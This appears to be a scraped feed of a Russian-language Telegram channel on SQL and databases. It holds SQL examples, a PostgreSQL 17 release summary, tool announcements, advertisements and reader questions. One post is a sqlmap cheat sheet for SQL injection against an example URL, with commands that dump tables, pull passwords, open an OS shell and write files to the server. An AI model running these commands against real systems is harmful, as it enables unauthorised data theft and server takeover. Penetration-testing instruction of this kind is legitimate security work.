2844
По всем вопросам- @haarrp @itchannels_telegram - 🔥лучшие ит-каналы @ai_machinelearning_big_data - Machine learning @pythonl - Python @pythonlbooks- python книги📚 @datascienceiot - ml книги📚
Для удобства и чтобы с ключевыми словами не пересекались
Читать полностью…
С таким подходом поиск и загрузка нужного чата будет намного быстрее, чем хранить все сообщения всех пользователей в одной куче.
Читать полностью…
Всем привет 👋
Есть таблица с сообщениями
Есть 2 столбика отправитель и получатель
Как сделать так чтобы id сообщений конкретно для пользователей
Например 1 , 2 и 2 , 1 начиналось с 1, 2, 3
А если другие пользователи
Например 1, 3 и 3, 1 у них тоже id сообщений начинались с 1 и … 2, 3, 4…..
🖥 Функция STUFF() в SQL
❓ Пример:
SELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;SELECT
DepartmentID,
STUFF(
(SELECT ',' + EmployeeName
FROM Employees
WHERE DepartmentID = E.DepartmentID
FOR XML PATH('')),
1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;
🖥 Как эффективно использовать SQL для Data Science?
💡 SQL — это не только инструмент для создания и управления базами данных. Его мощь часто недооценивается в контексте Data Science. Давайте рассмотрим, как SQL может помочь на каждом этапе работы с данными и почему стоит изучить его глубже.
🔍 1. Предварительная обработка данных (Data Preprocessing)
Обычно данные находятся в сыром виде и требуют значительной очистки и приведения в нужный формат. SQL позволяет быстро выполнять объединения, группировки, фильтрацию и агрегацию данных без необходимости выгружать большие наборы данных в Python или R.
Пример:
-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
SELECT AVG(transaction_amount) FROM transactions
);
-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;
-- Построение 7-дневного скользящего среднего по продажам
SELECT
sales_date,
sales_amount,
AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;
WITH monthly_sales AS (
SELECT
EXTRACT(MONTH FROM sales_date) AS month,
SUM(sales_amount) AS total_sales
FROM sales_data
GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
month,
total_sales,
LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;
🖥 Релиз СУБД PostgreSQL 17
После года разработки опубликована новая стабильная ветка СУБД PostgreSQL 17. Обновления для новой ветки будут выходить в течение пяти лет до ноября 2029 года. Поддержка PostgreSQL 12.x, самой старой из поддерживаемых веток, будет прекращена 14 ноября.
📌 Основные новшества:
- При выполнении операции VACUUM (сборка мусора, чистка и упаковка дискового хранилища) задействована новая структура данных, потребляющая до 20 раз меньше памяти. Переход на новую структуру позволил ускорить выполнение операций VACUUM и сократить потребление совместно используемых ресурсов.
- Продолжена оптимизация производительности ввода/вывода. Благодаря улучшению кода для обработки лога отложенной записи WAL удалось до двух раз повысить пропускную способность операций записи в системах с большим числом одновременно выполняемых запросов.
- Предложен новый интерфейс потокового ввода/вывода, позволивший повысить скорость последовательного перебора данных в таблицах и ускорить обновление статистики для планировщика запросов после выполнения операции ANALYZE.
- Повышена производительность запросов с выражением "IN", если в них используются индексы на базе структуры B-tree. Реализована возможность параллельного построения индексов BRIN (Block Range Index). В планировщике запросов оптимизированы проверки "NOT NULL" и ускорена обработка обобщённых табличных выражений (Common Table Expression, CTE) определяемых при помощи SQL-команды "WITH". Обеспечено использование векторных процессорных инструкций (SIMD) для ускорения некоторых вычислений, например, для ускорения функции bit_count задействованы инструкции AVX-512.
- Реализована поддержка новых возможностей для работы с форматом JSON, определённых в стандарте SQL/JSON. Добавлена функция JSON-TABLE для преобразования данных из формата JSON в обычные таблицы PostgreSQL, а также новые операторы jsonpath для преобразования данных JSON в родные для PostgreSQL типы данных. Предложены новые функции для создания (JSON, JSON_SCALAR и JSON_SERIALIZE) и запроса (JSON_EXISTS, JSON_QUERY и JSON_VALUE) данных в формате JSON.
- Расширены возможности SQL-команды "MERGE", позволяющей создавать условные SQL-выражения, объединяющие в одном выражении операции INSERT, UPDATE и DELETE. Добавлена поддержка выражения RETURNING, позволяющего вычислять и возвращать значения на основе добавленных, обновлённых или удалённых строк. Реализована поддержка обновления представлений.
@sqlhub
💪 Качаем скиллы PostgreSQL!
17 сентября 2024 года пройдет бесплатное комьюнити-мероприятие из серии PG BootCamp Russia — конференция, направленная на приобретение практических навыков при работе с СУБД PostgreSQL.
🔵Программа рассчитана как на начинающих специалистов, так и на более опытных разработчиков, желающих углубить знания в части ядра и экосистемы продукта
🔵 Ведущие эксперты в области СУБД проведут мастер-классы и лекции по наиболее востребованным и интересным темам
🔵Для тех, кто не сможет присутствовать очно, предусмотрена онлайн-трансляция
🧑🎓 Все участники получат электронные сертификаты, подтверждающие приобретение новых знаний и навыков.
📌 Дата и время: 17 сентября, 9:00
Формат: офлайн/онлайн
Место проведения: отель «TASIGO Kazan Palace»
✅ Зарегистрируйтесь сейчас и приготовьтесь к захватывающему путешествию в мир СУБД!
Check .net version or certificates and tools for encrypting
Читать полностью…
Does anyone have any ideas on how to solve this problem?
When I connect from C# code to MS, I get an error like this:
The instance of SQL Server you attempted to connect to requires encryption but this machine does not support it.
But my colleagues don't have this error.
What's interesting is that if you specify Encryption = false, the connection works, but it's inconvenient to do this every time, because the code is the same for everyone. Why do I have Encryption = true by default on the client side?
🖥 SQLFlow - отличный инструмент для визуализации SQL-запросов
Легкий и простой интрумент для визуализация связей и структур БД, поддерживающий более 20 разных БД.
▪DEMO
▪GitHub
@sqlhub
💻 GreptimeDB — облачная распределенная БД временных рядов с открытым исходным кодом; поддерживает PromQL/SQL/Python
GreptimeDB — это open-sorce БД временных рядов, ориентированная на эффективность, масштабируемость и аналитические возможности.
Особенности GreptimeDB:
— оптимизированная колоночная структура для работы с данными временных рядов; сжатие и хранение в различных системах хранения данных, в частности в облачных объектных хранилищах
— полностью открытая архитектура распределенного кластера, использующая мощь облачных вычислительных ресурсов
— встроенный SQL и PromQL для запросов, возможность использовать сценарии Python для решения сложных аналитических задач
Быстрый старт с Docker:docker run --rm --name greptime --net=host greptime/greptimedb standalone start
🖥 GitHub
🟡 Доки
@sqlhub
Когда ментор Слёрма Николай Марков решил стать Data-инженером, он не представлял, какие сюрпризы его ждут в профессии. А участники первого реалити-шоу про Data-инженеров уже успели прочувствовать эту атмосферу.
От неожиданных сбоев в коде до неуловимых багов — они испытали на себе вызовы, которые стоят за работой с большими данными. Кто смог раскрыть потенциал в нашей гонке, а кто слился после первых заданий?
👉🏻 Переходите, чтобы узнать, кто готов идти до конца и как стать Data-инженером
Внутри — гайд «Инструменты Data-специалиста», Roadmap для начинающего Data-инженера и ещё много полезного — статьи, ссылки, рекомендации и бесплатные вебинары 👉🏻 @gdedata
Реклама. ИП Аердинов Н.В. ИНН 638103515932 erid: LjN8K97oM
Получить диплом о прохождении курса “ML-инженер” сейчас не так уж и сложно. А вот стать квалифицированным специалистом, способным решать сложные задачи — вот, что по-настоящему не просто и круто!
Прокачать себя в профессии можно на бесплатном вебинаре «Почему ML-инженеру важно разбираться в продукте» от Product manager OneCell, преподавателя AI Talent Huv ИТМО Вадима Чижкова.
На вебинаре вы разберете:
▪что такое продукт,
▪почему ML-инженеру важно понимать продукт, даже если есть product-manager
▪как инженерные решения влияют на продуктовые метрики,
▪как оценивать задачи, исходя из их ценности для продукта.
А так же сможете задать все интересующие вас вопросы эксперту.
Вебинар состоится 12.09.24 в 18:30(Мск). Регистрируйтесь в боте на вебинар и становитесь ML-инженером, за которого будут бороться топовые компании страны и мира!
Наш бот также пришлет вам напоминание о мероприятии, чтобы вы ничего не пропустили.
Реклама. Университет ИТМО ИНН:7813045547 erid:2VtzqxkvKps
Можно сделать отдельное поле, туда писать хэш из пары (userx, usery). И нумерация сообщений, соответственно, в рамках этой пары.
Читать полностью…
Можно для каждого чата сделать свою таблицу.
Т.е для пользователя Максим и Олег будет своя таблица для сообщений.И так для каждого чата.
Ну чтобы когда записывалось новое сообщение нумерация была у каждого своя
Например пользователи общаются user_id 1 , 2 или 2, 1 у них нумерация сообщений начиная с 1 , 2 , 3 ….
А если user_id 1 , 3 или 3, 1 нумерация тоже начиналась 1 , 2 , 3 ….
📊 OpenBB — это платформа для инвестиционных исследований, предоставляющая доступ к акциям, опционам, криптовалютам, форексу и макроэкономическим данным. Платформа ориентирована на пользователей всех уровней и включает в себя как командную строку, так и графический интерфейс. 🌟 OpenBB предлагает бесплатный и открытый доступ к аналитическим инструментам и может быть расширен через различные плагины. Проект также поддерживает автоматизацию процессов и интеграцию с внешними сервисами
🔥 Инструмент является бесплатным аналогом Bloomberg terminal (подписка на который стоит $20 тыс. в год!)
👩💻 Язык: Python
🔐 Лицензия: GNU
▪ Github
@sqlhub
А шо, таки есть ещё такие, шо порт в мир не закрывают? И реверс- прокси не используют? И без сертификата обходятся? Мазохисты....
Читать полностью…
🔐 Шпаргалка по использованию sqlmap
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
sqlmap -u "http://example.com/page.php?id=1"
sqlmap -u "http://example.com/page.php?id=1" --dbs
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
sqlmap -u "http://example.com/page.php?id=1" --os-shell
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
sqlmap -u "http://example.com/page.php?id=1" --is-dba
sqlmap -u "http://example.com/page.php?id=1" --passwords
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://example.com/page.php?id=1" --banner
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
🖥 SQL tips and tricks
Круташий набор лайфхаков и советов по улучшению SQL запросов.
В нём представлены методы повышения читаемости кода и предотвращения распространённых ошибок и рекомендации по оптимизации.
▪ Github
@sqlhub
Красиво, полезно. Но дорого, т.к. пользоваться ею придётся редко. Простые запросы и так прекрасно читаются, а сложные, не так часто используются. Платить $10 за 3 дня!
Там где-то у них имидж для докера есть. Интересно глянуть внутрянку
Проверьте версию .net или сертификаты и инструменты для шифрования.
Читать полностью…
Hi
Do you have any ideas how this problem can be solved
Прокачайтесь в Data Science за 7 дней!🦾
Российская BI-платформа Analytic Workspace запустила бесплатный интенсив по ML-прогнозированию в AW BI «АНАЛИТИК 2.0».
🔥«АНАЛИТИК 2.0» — это 7 дней мощного погружения в Data Science вместе с топовыми экспертами — никаких скучных лекций, только практические занятия и реальные кейсы.
Всё, что нужно от вас: желание изучить ML-прогнозирование, базовые навыки SQL и визуализаций. Остальному научат: Python, Spark, ML. Сможете собирать обучающие датасеты, обучать ML-модели при помощи инструментов Data Science и применять их для прогнозирования в BI.
🚀А в финале интенсива состоится конкурс с призовым фондом 200 000 рублей. Конкурсанты получат кейс в портфолио, у финалистов будет еще и сертификат, который украсит резюме, а победители вдобавок ко всему заберут деньги.
Пройдя интенсив и погрузившись в Data Science — вы получите возможность выйти на новый уровень в карьере. BI-аналитики со знанием ML более востребованы на рынке, таких специалистов разбирают как «горячие пирожки». И зарплату предлагают вдвое больше, чем коллегами, которые ограничены только традиционными методами бизнес-анализа.
🔗Скорее регистрируйтесь по ссылке.
И становись экспертом, которого захотят «схантить» лучшие компании.
Реклама. Рекламодатель ИП Назаренко С.О.
ИНН: 183111053286
⚒️ Шардирование базы данных: шпаргалка для разработчика
👉 Источник
🖥 Neon
Neon - это бессерверная альтернатива AWS Aurora Postgres с открытым исходным кодом, написанная на Rust.
В инструменте поддерживается автомасштабирование, разделяет хранение и вычисления , перераспределяя данные по кластеру узлов.
🖥 Github
@sqlhub
💻Debezium — open-source CDC для Apache Kafka
Debezium — это CDC (Capture Data Change), набор коннекторов для различных СУБД, совместимых с фреймворком Apache Kafka Connect.
Debezium поддерживает следующие СУБД: MySQL, PostgreSQL, MongoDB, SQL Server, Cassandra и Oracle;
причём все эти СУБД подключаются по единой общей модели.
Если сравнивать использование Debezium с традиционным подходом (когда приложение читает данные из СУБД напрямую), то к его главным преимуществам относится реализация стриминга изменения данных на уровне строк с низкой задержкой, плюс высокая надежность и доступность.
🖥 GitHub
🟡 Доки
@sqlhub